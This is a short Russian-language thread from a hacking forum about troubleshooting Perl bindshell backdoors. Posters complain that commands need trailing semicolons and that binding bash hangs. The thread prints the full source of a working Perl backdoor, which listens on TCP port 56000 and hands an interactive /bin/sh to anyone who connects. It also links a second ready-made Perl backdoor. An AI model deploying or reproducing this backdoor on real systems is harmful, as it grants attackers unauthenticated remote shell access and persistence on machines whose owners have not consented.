Форум АНТИЧАТ - Нюансы в perl bindshells

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)

- - Нюансы в perl bindshells (https://forum.antichat.xyz/showthread.php?t=164809)

Нюансы в perl bindshells

Столкнулся с таким вот явлением. В perl биндшеллах когда подключаешься и отправляешь команды, то тебе возвращается ": not found". И после каждой команды приходится точку с запятой лепить. Кроме того, когда пробую привязать bash в биндшелле, то при подключении он просто подвисает и ничего не происходит. Кто с этим встречался и как это решить?

Вот код среднестатистического бэкдора на перл

Код:

#!/usr/bin/perl

  #bindshell.pl

  #Usage: perl bindshell.pl &

  use Socket;

  $p=56000;

  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')  );

  setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);

  bind(S,sockaddr_in($p,INADDR_ANY));

  listen(S,50);

  while(1)

  {

  accept(X,S);

  if(!($pid=fork)){

  if(!defined $pid){exit(0);}

  open STDIN,"<&X";

  open STDOUT,">&X";

  open STDERR,">&X";

  exec("/bin/sh -i");

  close X;

  }

  }

этот нормально работает у меня

Все работает. Да, он не выводит PS1, но работает. Проверить можно через whoami.

Вот готовый хитрый бэкдор на перле:
_http://rawlab.mindcreations.com/codes/perl-backdoor.pl

Он работает, только чтобы команды выполнялись, нужно после каждой ставить ";", иначе выдает ": not found". А вот если exec("/bin/bash -i"); прописать то при коннектре биндшелл просто морозится и никак не реагирует. Проверял на последней убунте.